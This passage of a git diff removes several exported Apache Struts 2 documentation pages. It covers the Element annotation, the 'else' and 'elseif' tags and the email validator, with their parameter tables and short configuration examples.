-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="element-annotation.html">Element Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Element Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13928">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13928">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13928">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13928">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13928">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13928">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Sets the Element for type conversion.</p>
-
-<h2 id="ElementAnnotation-Usage">Usage</h2>
-
-<p></p><p>The Element annotation must be applied at field or method level.</p>
-
-<h2 id="ElementAnnotation-Parameters">Parameters</h2>
-
-<p><table summary=""><thead><tr><th colspan="1" rowspan="1">Parameter</th><th colspan="1" rowspan="1">Required</th><th colspan="1" rowspan="1">Default</th><th colspan="1" rowspan="1">Description</th></tr></thead><tbody><tr><td colspan="1" rowspan="1">value</td><td colspan="1" rowspan="1">no</td><td colspan="1" rowspan="1">java.lang.Object.class</td><td colspan="1" rowspan="1">The element property value.</td></tr></tbody></table></p>
-
-<h2 id="ElementAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">
-// The key property for User objects within the users collection is the &lt;code&gt;userName&lt;/code&gt; attribute.
-@Element( value = com.acme.User.class )
-private Map userMap;
-
-@Element( value = com.acme.User.class )
-public List userList;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/else.html b/content/docs/else.html
deleted file mode 100644
index 229bdad..0000000
--- a/content/docs/else.html
+++ /dev/null
@@ -1,167 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>else</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="else.html">else</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">else</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13845">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13845">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13845">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13845">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13845">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13845">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div><h2 id="else-Description">Description</h2>
-<p></p><p>Perform basic condition flow. 'If' tag could be used by itself or with 'Else If' Tag and/or single/multiple 'Else'
-Tag.</p>
-<h2 id="else-Parameters">Parameters</h2><p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h [...]
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:if test=&quot;%{false}&quot;&gt;
-    &lt;div&gt;Will Not Be Executed&lt;/div&gt;
-&lt;/s:if&gt;
-&lt;s:elseif test=&quot;%{true}&quot;&gt;
-    &lt;div&gt;Will Be Executed&lt;/div&gt;
-&lt;/s:elseif&gt;
-&lt;s:else&gt;
-    &lt;div&gt;Will Not Be Executed&lt;/div&gt;
-&lt;/s:else&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/elseif.html b/content/docs/elseif.html
deleted file mode 100644
index f17c581..0000000
--- a/content/docs/elseif.html
+++ /dev/null
@@ -1,179 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>elseif</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="elseif.html">elseif</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">elseif</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13964">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13964">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13964">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13964">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13964">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13964">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="elseif-Description">Description</h2>
-
-
-<p></p><p>Perform basic condition flow. 'If' tag could be used by itself or with 'Else If' Tag and/or single/multiple 'Else'
-Tag.</p>
-
-
-<h2 id="elseif-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="elseif-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:if test=&quot;%{false}&quot;&gt;
-    &lt;div&gt;Will Not Be Executed&lt;/div&gt;
-&lt;/s:if&gt;
-&lt;s:elseif test=&quot;%{true}&quot;&gt;
-    &lt;div&gt;Will Be Executed&lt;/div&gt;
-&lt;/s:elseif&gt;
-&lt;s:else&gt;
-    &lt;div&gt;Will Not Be Executed&lt;/div&gt;
-&lt;/s:else&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/email-validator.html b/content/docs/email-validator.html
deleted file mode 100644
index de955dc..0000000
--- a/content/docs/email-validator.html
+++ /dev/null
@@ -1,200 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>email validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="email-validator.html">email validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">email validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13946">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13946">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13946">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13946">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13946">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13946">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="emailvalidator-Description">Description</h1>
-<p>EmailValidator checks that a given String field, if not empty, is a valid email address.</p>
-
-<p>The regular expression used to validate that the string is an email address is:</p>
-
-<p></p><pre>
-\\b^['_a-z0-9-\\+]<span style="text-decoration: underline; ">(\\.['_a-z0-9-\\+]</span>)<strong>@[a-z0-9-]<span style="text-decoration: underline; ">(\\.[a-z0-9-]</span>)</strong>\\.([a-z]{2,6})$\\b
-</pre>
-
-<p>You can also specify expression, caseSensitive and trim params as a OGNL expression, see the example below.</p>
-
-<h1 id="emailvalidator-Parameters">Parameters</h1>
-<p></p><ul><li>fieldName - The field name this validator is validating. Required if using Plain-Validator Syntax otherwise not required</li></ul>
-Check also documentation of the RegexpValidator for more details - the EmailValidator bases on it.
-
-<div class="confluence-information-macro confluence-information-macro-warning"><p class="title">Warning</p><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Do not use ${regexExpression}, ${caseSensitiveExpression} and ${trimExpression} as an expression as this will turn into infinitive loop!</p></div></div>
-
-<h1 id="emailvalidator-Examples">Examples</h1>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-    &lt;!-- Plain Validator Syntax --&gt;
-    &lt;validators&gt;
-        &lt;validator type=&quot;email&quot;&gt;
-            &lt;param name=&quot;fieldName&quot;&gt;myEmail&lt;/param&gt;
-            &lt;message&gt;Must provide a valid email&lt;/message&gt;
-        &lt;/validator&gt;
-    &lt;/validators&gt;
-    
-    &lt;!-- Field Validator Syntax --&gt;
-    &lt;field name=&quot;myEmail&quot;&gt;
-       &lt;field-validator type=&quot;email&quot;&gt;
-          &lt;message&gt;Must provide a valid email&lt;/message&gt;
-       &lt;/field-validator&gt;
-    &lt;/field&gt;
-
-    &lt;!-- Field Validator Syntax with expressions --&gt;
-    &lt;!-- Only available when used with xml based configuration, if you want to have the same
-            flexibility with annotations use @RegexFieldValidator instead --&gt;
-    &lt;field name=&quot;myEmail&quot;&gt;
-       &lt;field-validator type=&quot;email&quot;&gt;
-          &lt;param name=&quot;regexExpression&quot;&gt;${emailPattern}&lt;/param&gt; &lt;!-- will be evaluated as: String getEmailPattern() --&gt;
-          &lt;param name=&quot;caseSensitiveExpression&quot;&gt;${emailCaseSensitive}&lt;/param&gt; &lt;!-- will be evaluated as: boolean getEmailCaseSensitive() --&gt;
-          &lt;param name=&quot;trimExpression&quot;&gt;${trimEmail}&lt;/param&gt; &lt;!-- will be evaluated as: boolean getTrimEmail() --&gt;
-          &lt;message&gt;Must provide a valid email&lt;/message&gt;
-       &lt;/field-validator&gt;
-    &lt;/field&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/emailvalidator-annotation.html b/content/docs/emailvalidator-annotation.html
deleted file mode 100644
index ab3800d..0000000
--- a/content/docs/emailvalidator-annotation.html
+++ /dev/null
@@ -1,168 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
